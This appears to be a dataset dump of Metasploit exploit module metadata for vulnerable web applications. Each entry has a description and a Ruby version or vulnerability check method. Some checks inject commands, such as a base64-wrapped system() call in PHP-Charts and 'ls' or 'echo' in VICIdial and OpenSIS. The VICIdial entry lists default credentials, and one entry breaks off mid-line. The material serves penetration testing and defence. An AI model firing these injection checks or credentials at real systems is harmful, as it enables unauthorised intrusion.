deardaniel/secdata-raw huggingface dataset:
Metasploit Module: WordPress PHPMailer Host Header Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/wp_phpmailer_host_header.rb
Platform: linux
Disclosure date: 2017-05-03
References: CVE-2016-10033, URL-https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html, URL-http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html, URL-https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions

Description:
This module exploits a command injection vulnerability in WordPress
          version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
          a mail-sending library that is bundled with WordPress.

          A valid WordPress username is required to exploit the vulnerability.
          Additionally, due to the altered Host header, exploitation is limited to
          the default virtual host, assuming the header isn't mangled in transit.

          If the target is running Apache 2.2.32 or 2.4.24 and later, the server
          may have HttpProtocolOptions set to Strict, preventing a Host header
          containing parens from passing through, making exploitation unlikely.

Check method (fingerprinting):
if (version = wordpress_version)
      version = Rex::Version.new(version)
    else
      return CheckCode::Unknown('Could not determine WordPress version')
    end

    vprint_status("WordPress #{version} installed at #{full_uri}")

    if version <= Rex::Version.new('4.6')
      CheckCode::Appears("Version #{version} appears to be vulnerable")
    else
      CheckCode::Detected("Detected version #{version}")
    end
  end
Metasploit Module: Matt Wright guestbook.pl Arbitrary Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/guestbook_ssi_exec.rb
Platform: %w{linux unix win}
Disclosure date: 1999-11-05
References: CVE-1999-1053, OSVDB-84, BID-776

Description:
The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
          a flaw that may allow arbitrary command execution. The vulnerability
          requires that HTML posting is enabled in the guestbook.pl script, and
          that the web server must have the Server-Side Include (SSI) script
          handler enabled for the '.html' file type. By combining the script
          weakness with non-default server configuration, it is possible to exploit
          this vulnerability successfully.
Metasploit Module: Squash YAML Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/squash_yaml_exec.rb
Platform: ruby
Disclosure date: 2013-08-06
References: URL-http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/, OSVDB-95992, CVE-2013-5036

Description:
This module exploits a remote code execution vulnerability in the
          YAML request processor of the Squash application.

Check method (fingerprinting):
response = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
      'method' => 'POST',
      'ctype' => 'application/json',
    })

    if response.code == 422
      vprint_status("Got HTTP 422 result, target may be vulnerable")
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: OpenSIS 'modname' PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/opensis_modname_exec.rb
Platform: unix
Disclosure date: 2012-12-04
References: CVE-2013-1349, OSVDB-100676, URL-http://karmainsecurity.com/KIS-2013-10, URL-http://sourceforge.net/p/opensis-ce/bugs/59/

Description:
This module exploits a PHP code execution vulnerability in OpenSIS
          versions 4.5 to 5.2 which allows any authenticated user to execute
          arbitrary PHP code under the context of the web-server user.
          The 'ajax.php' file calls 'eval()' with user controlled data from
          the 'modname' parameter.

Check method (fingerprinting):
return Exploit::CheckCode::Unknown('Could not determine the target status') unless login(datastore['USERNAME'], datastore['PASSWORD'])

    fingerprint = Rex::Text.rand_text_alphanumeric(rand(10) + 10)
    vprint_status("Sending check")
    res = execute_command("echo #{fingerprint}")
    if res and res.body =~ /align=center>#{fingerprint}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    elsif res
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    return Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: VICIdial Manager Send OS Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb
Platform: unix
Disclosure date: 2013-10-23
References: CVE-2013-4467, CVE-2013-4468, OSVDB-98903, OSVDB-98902, BID-63340, BID-63288, URL-http://www.openwall.com/lists/oss-security/2013/10/23/10, URL-http://adamcaudill.com/2013/10/23/vicidial-multiple-vulnerabilities/
Targets: CMD

Description:
The file agc/manager_send.php in the VICIdial web application uses
          unsanitized user input as part of a command that is executed using the PHP
          passthru() function. A valid username, password and session are needed to access
          the injection point. Fortunately, VICIdial has two built-in accounts with default
          passwords and the manager_send.php file has a SQL injection vulnerability that can
          be used to bypass the session check as long as at least one session has been
          created at some point in time. In case there isn't any valid session, the user can
          provide astGUIcient credentials in order to create one. The results of the injected
          commands are returned as part of the response from the web server. Affected versions
          include 2.7RC1, 2.7, and 2.8-403a. Other versions are likely affected as well. The
          default credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit.

Check method (fingerprinting):
res = request('ls -a .')

    if res and res.code == 200
      if res.body =~ %r{Invalid Username/Password}
        vprint_error('Invalid Username or Password.')
        return Exploit::CheckCode::Detected('The target service was detected')
      elsif res.body =~ /Invalid session_name/
        vprint_error('Web client session not found')
        return Exploit::CheckCode::Detected('The target service was detected')
      elsif res.body =~ /\.\n\.\.\n/m
        return Exploit::CheckCode::Vulnerable('The target is vulnerable')
      end
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress Asset-Manager PHP File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb
Platform: php
Disclosure date: 2012-05-26
References: CVE-2012-10026, OSVDB-82653, BID-53809, EDB-18993, URL-http://web.archive.org/web/[PII_REDACTED]4832/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html

Description:
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
          plugin. By abusing the upload.php file, a malicious user can upload a file to a
          temp directory without authentication, which results in arbitrary code execution.

Check method (fingerprinting):
uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri
    )

    return Exploit::CheckCode::Unknown('Could not determine the target status') if res.nil? || res.code != 200

    Exploit::CheckCode::Detected('The target service was detected')
  end
Metasploit Module: Wordpress N-Media Website Contact Form Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb
Platform: php
Disclosure date: 2015-04-12
References: CVE-2015-10137, URL-http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/

Description:
This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form
          plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution.

Check method (fingerprinting):
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')
  end
Metasploit Module: ActualAnalyzer 'ant' Cookie Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb
Platform: unix
Disclosure date: 2014-08-28
References: CVE-2014-5470, EDB-34450, OSVDB-110601

Description:
This module exploits a command execution vulnerability in
          ActualAnalyzer version 2.81 and prior.

          The 'aa.php' file allows unauthenticated users to
          execute arbitrary commands in the 'ant' cookie.

Check method (fingerprinting):
# check for aa.php
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
    if !res
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.code == 404
      vprint_error("Could not find aa.php")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
      vprint_error("ActualAnalyzer is not installed. Try installing first.")
      return Exploit::CheckCode::Detected('The target service was detected')
    end
    # check version
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
    if !res
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
      vprint_status("Found version: #{version}")
      if Rex::Version.new(version) <= Rex::Version.new('2.81')
        report_vuln(
          host: rhost,
          name: self.name,
          info: "Module #{fullname} detected ActualAnalyzer #{version}",
          refs: references
        )
        return Exploit::CheckCode::Vulnerable('The target is vulnerable')
      end
      return Exploit::CheckCode::Detected('The target service was detected')
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
      return Exp
Metasploit Module: vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection
Type: exploit
Path: modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb
Platform: php
Disclosure date: 2013-03-25
References: CVE-2013-3522, OSVDB-92031, EDB-24882, BID-58754, URL-http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt

Description:
This module exploits a SQL injection vulnerability found in vBulletin 5 that has
          been used in the wild since March 2013. This module uses the sqli to extract the
          web application's usernames and hashes. With the retrieved information tries to
          log into the admin control panel in order to deploy the PHP payload. This module
          has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu
          Linux distribution.

Check method (fingerprinting):
node_id = get_node

    unless node_id.nil?
      return Msf::Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "index.php")
    })

    if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
      return Msf::Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Msf::Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress W3 Total Cache PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/wp_total_cache_exec.rb
Platform: php
Disclosure date: 2013-04-17
References: CVE-2013-2010, OSVDB-92652, BID-59316, URL-http://wordpress.org/support/topic/pwn3d, URL-http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/

Description:
This module exploits a PHP Code Injection vulnerability against WordPress plugin
          W3 Total Cache for versions up to and including 0.9.2.8.  WP Super Cache 1.2 or older
          is also reported as vulnerable.  The vulnerability is due to the handling of certain
          macros such as mfunc, which allows arbitrary PHP code injection.  A valid post ID is
          needed in order to add the malicious comment.  If the POSTID option isn't specified,
          then the module will automatically find or bruteforce one.  Also, if anonymous comments
          aren't allowed, then a valid username and password must be provided.  In addition,
          the "A comment is held for moderation" option on WordPress must be unchecked for
          successful exploitation.  This module has been tested against WordPress 3.5 and
          W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.

Check method (fingerprinting):
res = wordpress_and_online?
    unless res
      vprint_error("#{peer} does not seeem to be Wordpress site")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
      version = $1
      if version <= "0.9.2.8"
        return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      else
        return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
      end
    end

    if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
      return Exploit::CheckCode::Detected(version ? "Detected version #{version}" : 'W3 Total Cache detected')
    end

    return Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'The target is not vulnerable')
  end
Metasploit Module: WordPress Admin Shell Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_admin_shell_upload.rb
Platform: php
Disclosure date: 2015-02-21

Description:
This module will generate a plugin, pack the payload into it
          and upload it to a server running WordPress provided valid
          admin credentials are used.

Check method (fingerprinting):
cookie = wordpress_login(username, password)
    if cookie.nil?
      return CheckCode::Safe('The target is not vulnerable')
    end

    store_valid_credential(user: username, private: password, proof: cookie)
    CheckCode::Appears('The target appears to be vulnerable')
  end
Metasploit Module: WebTester 5.x Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/webtester_exec.rb
Platform: unix
Disclosure date: 2013-10-17
References: CVE-2013-10037, OSVDB-98750, URL-https://sourceforge.net/p/webtesteronline/bugs/3/

Description:
This module exploits a command execution vulnerability in WebTester
          version 5.x. The 'install2.php' file allows unauthenticated users to
          execute arbitrary commands in the 'cpusername', 'cppassword' and
          'cpdomain' parameters.

Check method (fingerprinting):
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })

    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.body =~ /Eppler Software/
      if res.body =~ / - v5\.1\.20101016/
        vprint_status("Found version: 5.1.20101016")
        return Exploit::CheckCode::Appears('The target appears to be vulnerable')
      elsif res.body =~ / - v(5\.[\d\.]+)/
        vprint_status("Found version: #{$1}")
        return Exploit::CheckCode::Appears('The target appears to be vulnerable')
      else
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: WordPress WPTouch Authenticated File Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_wptouch_file_upload.rb
Platform: php
Disclosure date: 2014-07-14
References: URL-http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html

Description:
The WordPress WPTouch plugin contains an authenticated file upload
          vulnerability. A wp-nonce (CSRF token) is created on the backend index
          page and the same token is used on handling ajax file uploads through
          the plugin. By sending the captured nonce with the upload, we can
          upload arbitrary files to the upload folder. Because the plugin also
          uses its own file upload mechanism instead of the WordPress api it's
          possible to upload any file type.
          The user provided does not need special rights, and users with "Contributor"
          role can be abused.

Check method (fingerprinting):
check_plugin_version_from_readme('wptouch', '3.4.3')
  end
Metasploit Module: phpMyAdmin Config File Code Injection
Type: exploit
Path: modules/exploits/unix/webapp/phpmyadmin_config.rb
Disclosure date: 2009-03-24
References: CVE-2009-1151, OSVDB-53076, EDB-8921, URL-https://www.phpmyadmin.net/security/PMASA-2009-3/, URL-https://web.archive.org/web/[PII_REDACTED]1149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/, CVE-2009-1285, URL-https://www.phpmyadmin.net/security/PMASA-2009-4/, URL-https://www.tenable.com/security/research/tra-2009-02

Description:
This module exploits a vulnerability in phpMyAdmin's setup
          feature which allows an attacker to inject arbitrary PHP
          code into a configuration file. The original advisory says
          the vulnerability is present in phpMyAdmin versions
          2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.

          There was a follow up vulnerability as the patch was
          incomplete, affecting versions 3.x <= 3.1.3.1.

          The file where our payload is written
          (phpMyAdmin/config/config.inc.php) is not directly used by
          the system, so it may be a good idea to either delete it or
          copy the running config (phpMyAdmin/config.inc.php) over it
          after successful exploitation.

Check method (fingerprinting):
response, version = find_setup_path(mode: :check)
    return Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'Could not find phpMyAdmin setup page') unless response&.code == 200

    if (response.body !~ /"token"\s*value="([^"]+)"/)
      return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?")
    elsif (response.body =~ /Cannot load or save configuration/)
      return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)")
    elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it.
      return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)")
    end

    if version
      vulnerable =
        version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) ||
        version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1'))

      if vulnerable
        return Exploit::CheckCode::Appears("Target version is in range! (#{version})")
      else
        print_status "Target version is not in range (#{version})"
      end
    else
      print_error 'Could not determine version'
      return Exploit::CheckCode::Unknown("Could not determine version")
    end
  end
Metasploit Module: PHP-Charts v1.0 PHP Code Execution Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/php_charts_exec.rb
Platform: unix
Disclosure date: 2013-01-16
References: CVE-2013-10070, OSVDB-89334, BID-57448, EDB-24201

Description:
This module exploits a PHP code execution vulnerability in php-Charts
          version 1.0 which could be abused to allow users to execute arbitrary
          PHP code under the context of the webserver user. The 'url.php' script
          calls eval() with user controlled data from any HTTP GET parameter name.

Check method (fingerprinting):
base = target_uri.path
    base << '/' if base[-1, 1] != '/'
    peer = "#{rhost}:#{rport}"
    fingerprint = Rex::Text.rand_text_alphanumeric(rand(8) + 4)
    code = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))
    rand_key_value = rand_text_alphanumeric(rand(10) + 6)

    # send check
    print_status("Sending check")
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
      })

      if res and res.body =~ /#{fingerprint}/
        return Exploit::CheckCode::Vulnerable('The target is vulnerable')
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: MoinMoin twikidraw Action Traversal File Upload
Type: exploit
Path: modules/exploits/unix/webapp/moinmoin_twikidraw.rb
Disclosure date: 2012-12-30
References: CVE-2012-6081, OSVDB-88825, BID-57082, EDB-25304, URL-http://web.archive.org/web/[PII_REDACTED]0124/http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f, URL-http://wiki.python.org/moin/WikiAttack2013

Description:
This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
          exists on the manage of the twikidraw actions, where a traversal path can be used
          in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
          configurations by overwriting moin.wsgi, which allows to execute arbitrary python
          code, as exploited in the wild on July, 2012. This module is "ManualRanking," and
          the user is warned to use this module at his own risk since it will overwrite the
          moin.wsgi file, required for the correct working of the MoinMoin wiki. While the
          exploit will try to restore the attacked application at post exploitation, successful
          restoration cannot be guaranteed.

Check method (fingerprinting):
@base = target_uri.path
    @base << '/' if @base[-1, 1] != '/'

    res = send_request_cgi({
      'uri' => normalize_uri(@base)
    })

    if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
      return Exploit::CheckCode::Detected('The target service was detected')
    elsif res
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: FusionPBX Operator Panel exec.php Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.rb
Platform: unix
Disclosure date: 2019-06-06
References: CVE-2019-11409, EDB-46985, URL-https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html, URL-https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611
Targets: Automatic (Unix In-Memory), Automatic (Linux Dropper)

Description:
This module exploits an authenticated command injection vulnerability
          in FusionPBX versions 4.4.3 and prior.

          The `exec.php` file within the Operator Panel permits users with
          `operator_panel_view` permissions, or administrator permissions,
          to execute arbitrary commands as the web server user by sending
          a `system` command to the FreeSWITCH event socket interface.

          This module has been tested successfully on FusionPBX version
          4.4.1 on Ubuntu 19.04 (x64).

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.body.include?('FusionPBX')
      return CheckCode::Detected('The target service was detected')
    end

    CheckCode::Safe('The target is not vulnerable')
  end